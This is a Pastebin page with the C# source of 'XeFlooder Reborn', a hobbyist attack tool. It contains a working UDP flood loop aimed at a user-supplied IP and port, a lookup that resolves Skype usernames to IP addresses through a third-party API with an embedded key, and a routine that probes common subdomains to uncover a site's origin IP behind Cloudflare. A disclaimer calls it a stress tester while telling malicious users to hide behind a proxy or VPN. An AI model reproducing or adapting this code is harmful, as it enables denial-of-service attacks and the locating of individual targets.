Advertisement
Dev

[Source Code] XeFlooder Reborn 1.0 By XeClutch

Dev
Jul 20th, 2015
29,295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.55 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Text;
  7. using System.IO;
  8. using System.Net;
  9. using System.Net.Sockets;
  10. using System.Net.NetworkInformation;
  11. using System.Threading;
  12. using System.Windows.Forms;
  13. using ComponentFactory.Krypton.Toolkit;
  14. using System.Collections;
  15. using System.Diagnostics;
  16.  
  17. //Made by Joshua Ozeri
  18. //aka XeClutch
  19. //aka iPhantom
  20. // ------
  21. //Please do not claim this source as your own
  22.  
  23. namespace XeFlooder_Reborn
  24. {
  25. public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
  26. {
  27. int packets;
  28. int totalPackets;
  29. bool flooding;
  30.  
  31. Ping _ping = new Ping();
  32.  
  33. public Form1()
  34. {
  35. InitializeComponent();
  36. }
  37.  
  38. private void udp_start_Click(object sender, EventArgs e)
  39. {
  40. packets = 0;
  41. totalPackets = Convert.ToInt32(udp_packets.Value);
  42. flooding = true;
  43. startUDP();
  44. }
  45.  
  46. void startUDP()
  47. {
  48. while(flooding)
  49. {
  50. if (packets > totalPackets)
  51. {
  52. MessageBox.Show("UDP Flood Successful!");
  53. packets = 0;
  54. totalPackets = 0;
  55. flooding = false;
  56. }
  57.  
  58. else if (packets == 0 && totalPackets == 0)
  59. {
  60.  
  61. }
  62.  
  63. else if (packets < totalPackets)
  64. {
  65.  
  66. //UDP Packet being sent to target
  67. byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
  68.  
  69. //Assign Target End Point
  70. IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
  71.  
  72. //Socket used to flood client
  73. Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  74.  
  75. //Increase counted packets by 1
  76. packets++;
  77.  
  78. //Send packet to target
  79. target.SendTo(packet, ep);
  80.  
  81. //Update Progress Trackers
  82. udp_progress_bar.Maximum = totalPackets;
  83. udp_progress_bar.Value = packets;
  84.  
  85. if (udp_progress_bar.Value == udp_progress_bar.Maximum)
  86. {
  87. packets++;
  88. }
  89. }
  90. }
  91. }
  92.  
  93. private string GetMacAddress()
  94. {
  95. string macAddresses = string.Empty;
  96. foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
  97. {
  98. if (nic.OperationalStatus == OperationalStatus.Up)
  99. {
  100. macAddresses += nic.GetPhysicalAddress().ToString();
  101. break;
  102. }
  103. }
  104. return macAddresses;
  105. }
  106.  
  107. private void Form1_Load(object sender, EventArgs e)
  108. {
  109. MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
  110. if (NetworkInterface.GetIsNetworkAvailable() != true)
  111. {
  112. MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
  113. this.Close();
  114. }
  115. WebRequest request = WebRequest.Create("http://icanhazip.com/");
  116. WebResponse response = request.GetResponse();
  117. System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
  118. string IP = sr.ReadToEnd();
  119. IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
  120. info.Items.Add("Public IP Address: " + IP);
  121. foreach (IPAddress ip in host.AddressList)
  122. {
  123. if (ip.AddressFamily.ToString() == "InterNetwork")
  124. {
  125. info.Items.Add("IPv4 Address: " + ip.ToString());
  126. }
  127. }
  128. info.Items.Add("Machine Name: " + System.Environment.MachineName);
  129. info.Items.Add("MAC Address: " + GetMacAddress());
  130. }
  131.  
  132. private void scheme_SelectedIndexChanged(object sender, EventArgs e)
  133. {
  134. if (scheme.Text == "")
  135. {
  136. MessageBox.Show("Please select a valid color scheme...");
  137. }
  138. else if (scheme.Text == "Black")
  139. {
  140. try
  141. {
  142. kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Black;
  143. }
  144. catch (Exception ex)
  145. {
  146. MessageBox.Show("Error setting color scheme...\n\n" + ex);
  147. }
  148. }
  149. else if (scheme.Text == "Silver")
  150. {
  151. try
  152. {
  153. kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Silver;
  154. }
  155. catch (Exception ex)
  156. {
  157. MessageBox.Show("Error setting color scheme...\n\n" + ex);
  158. }
  159. }
  160. else if (scheme.Text == "Blue")
  161. {
  162. try
  163. {
  164. kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Blue;
  165. }
  166. catch (Exception ex)
  167. {
  168. MessageBox.Show("Error setting color scheme...\n\n" + ex);
  169. }
  170. }
  171. }
  172.  
  173. private void resolve_domain_Click(object sender, EventArgs e)
  174. {
  175. try
  176. {
  177. var URL2IP = Dns.GetHostAddresses(resolve_domain_url.Text)[0];
  178. resolve_domain_ip.Text = "IP Address: " + URL2IP.ToString();
  179. }
  180. catch (Exception ex)
  181. {
  182. MessageBox.Show("Could not resolve domain name...\n\n" + ex);
  183. }
  184. }
  185.  
  186. private void resolve_skype_Click(object sender, EventArgs e)
  187. {
  188. try
  189. {
  190. WebRequest request = WebRequest.Create("http://infernoapi.com/skype.php?apikey=c9f4bfc1d0d0a4eecff90c7839fd929cdfd79f45&user=" + resolve_skype_name.Text);
  191. WebResponse response = request.GetResponse();
  192. System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
  193. resolve_skype_ip.Text = "IP Address: " + sr.ReadToEnd();
  194. }
  195. catch (Exception ex)
  196. {
  197. MessageBox.Show("Could not resolve Skype name...\n\n" + ex);
  198. }
  199. if (resolve_skype_ip.Text == "IP Address: Invalid API Key")
  200. {
  201. MessageBox.Show("Looks like our API Key expired!\nPlease give us time to get the funds for another key, thank you.");
  202. }
  203. }
  204.  
  205. private void resolve_cf_Click(object sender, EventArgs e)
  206. {
  207. var ip = Dns.GetHostAddresses(resolve_cf_url.Text)[0];
  208. try
  209. {
  210. var hostname = Dns.GetHostByName("direct." + Convert.ToString(ip));
  211. resolve_cf_direct.Text = "IP Address: " + Convert.ToString(hostname);
  212. }
  213. catch (Exception ex)
  214. {
  215. MessageBox.Show("[Direct] Could not resolve...\n\n" + ex);
  216. }
  217. try
  218. {
  219. var hostname = Dns.GetHostByName("mail." + Convert.ToString(ip));
  220. resolve_cf_mail.Text = "IP Address: " + Convert.ToString(hostname);
  221. }
  222. catch (Exception ex)
  223. {
  224. MessageBox.Show("[Mail] Could not resolve...\n\n" + ex);
  225. }
  226. try
  227. {
  228. var hostname = Dns.GetHostByName("direct-connect." + Convert.ToString(ip));
  229. resolve_cf_connect.Text = "IP Address: " + Convert.ToString(hostname);
  230. }
  231. catch (Exception ex)
  232. {
  233. MessageBox.Show("[Connect] Could not resolve...\n\n" + ex);
  234. }
  235. try
  236. {
  237. var hostname = Dns.GetHostByName("cpanel." + Convert.ToString(ip));
  238. resolve_cf_cpanel.Text = "IP Address: " + Convert.ToString(hostname);
  239. }
  240. catch (Exception ex)
  241. {
  242. MessageBox.Show("[CPanel] Could not resolve...\n\n" + ex);
  243. }
  244. try
  245. {
  246. var hostname = Dns.GetHostByName("ftp." + Convert.ToString(ip));
  247. resolve_cf_ftp.Text = "IP Address: " + Convert.ToString(hostname);
  248. }
  249. catch (Exception ex)
  250. {
  251. MessageBox.Show("[FTP] Could not resolve...\n\n" + ex);
  252. }
  253. }
  254.  
  255. private void ping_ip_Click(object sender, EventArgs e)
  256. {
  257. try
  258. {
  259. PingReply _reply = _ping.Send(IPAddress.Parse(ping_ip_ip.Text));
  260. if (_reply.Status == IPStatus.Success)
  261. {
  262. ping_ip_status.Text = "Status: Online";
  263. }
  264. else if (_reply.Status != IPStatus.Success)
  265. {
  266. ping_ip_status.Text = "Status: Offline";
  267. }
  268. }
  269. catch (Exception ex)
  270. {
  271. MessageBox.Show("Could not ping IP Address...\n\n" + ex);
  272. }
  273. }
  274.  
  275. private void ping_domain_Click(object sender, EventArgs e)
  276. {
  277. try
  278. {
  279. var URL2IP = Dns.GetHostAddresses(ping_domain_url.Text)[0];
  280. PingReply _reply = _ping.Send(URL2IP);
  281. if (_reply.Status == IPStatus.Success)
  282. {
  283. ping_domain_status.Text = "Status: Online";
  284. }
  285. else if (_reply.Status != IPStatus.Success)
  286. {
  287. ping_domain_status.Text = "Status: Offline";
  288. }
  289. }
  290. catch (Exception ex)
  291. {
  292. MessageBox.Show("Could not ping Domain...\n\n" + ex);
  293. }
  294. }
  295. }
  296. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement